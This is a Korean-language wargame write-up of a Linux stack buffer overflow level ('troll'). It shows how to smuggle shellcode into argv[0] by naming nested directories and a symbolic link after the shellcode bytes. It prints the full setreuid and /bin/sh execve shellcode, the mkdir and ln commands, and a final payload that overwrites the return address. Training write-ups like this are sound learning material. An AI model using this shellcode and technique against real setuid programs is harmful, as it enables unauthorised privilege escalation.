새로 추가된 부분을 보아하니 argv[1] 이외의 다른 argv를 사용할 수 없게끔 만들어놨다.
그리고 argv[1]역시 마지막에 memset해서 argv[1]의 주소역시 사용할수 없을 듯 하다.
또 어디에 입력값이 남아있을까 고민해보니 argv[0]을 사용할 수 있을것 같았다.
argv[0]은 보통 프로그램의 경로+이름이 들어있는 부분이다.
우리가 실행할 프로그램의 argv[0]는 /home/orge/troll로 고정적이지만 심볼릭 링크를 걸어서 원하는 이름과 경로로 troll 프로그램을 실행시킬 수 있다.
쉘코드를 이름으로 가지는 심볼릭 링크를 troll 프로그램에 걸어주자.
ln -s 명령어로 심볼릭 링크를 걸어주려 하니 No such file or directory라며 실행이 안된다.
/home/orge/troll만 입력했을때 실행이 되는걸 보니 원본은 아니고 심볼릭 링크의 이름에 문제가 있는 것이다.
원인은 바로 쉘코드에 들어있는 '/' 때문이다. \x2f가 ascii 코드상 '/'에 해당하는데 이 문자를 만나면 이전까지를 폴더로 인식하게 되고 해당 폴더를 찾다가 없으니 에러를 뱉는 것이다.
예컨데 ln -s oxqo1 oxqo2/oxqo3 이런식으로 입력할 경우 "oxqo2/oxqo3"이라는 심볼릭 링크를 만드는 것이 아니라 oxqo2라는 폴더에 oxqo3이라는 심볼릭 링크를 만들려고 하기 때문에 에러가 난다.
이부분을 해결하려면 \x2f가 없는 쉘코드를 새로 짜서 사용하면 된다.
하지만 더 간단한 방법도 있다.
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
빨간색으로 표시된 \x2f를 기준으로 그 앞부분에 파란색을 이름으로 하는 폴더를 만들고 그 안에 뒷쪽 파란색을 이름으로 하는 폴더를 또 만든 다음 그 안에 마지막으로 검은색을 이름으로 하는 심볼릭 링크를 만들어주면 된다.
\x2f가 겹쳐있지만 실행할때 '/'를 여러개 겹쳐도 경로를 잘 찾으니 상관없다.
난 이방법이 쉘코드를 새로 만드는 것보다 편하다고 생각한다.
물론 이미 \x2f가 없는 쉘코드를 가지고 있다면 그 쉘코드를 쓰는게 훨씬 편하다.
명령어는
mkdir `python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68"'`
mkdir `python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68"'`
ln -s /home/orge/troll `python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
이런식으로 \x2f를 기준으로 쉘코드를 잘라서 디렉토리와 심볼릭 링크를 만들어주면 된다.
우선은 동적 디버깅을 위해 심볼릭 링크를 /home/orge/troll이 아닌 orge의 권한으로 복사한 /home/orge/tmp/troll에 걸어줬다.
이렇게 링크를 걸어준 후 gdb로 argv[0]의 위치를 찾아보자.
블럭지정한 부분이 argv[1][47]과 0xbf를 비교하는 부분이니 저기서 edx에 들어있는 주소 근처에 argv[0]이 있을 것이다.
bp를 걸고 확인해보자.
블록지정한 0xbffffc2a 부터 쉘코드가 시작되는것이 보인다.
먼저 복사본을 가르키고 있던 심볼릭 링크를 지우고 원본을 가르키게 다시 만든 다음 최종적인 페이로드는
`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+" "+"a"*44+"\x2a\xfc\xff\xbf"'`
이런식으로 심볼릭 링크를 파이썬으로 실행시키고 리턴주소가 아까 그 0xbffffc2a를 가르키도록 덮어줬다.
성공~!
끝-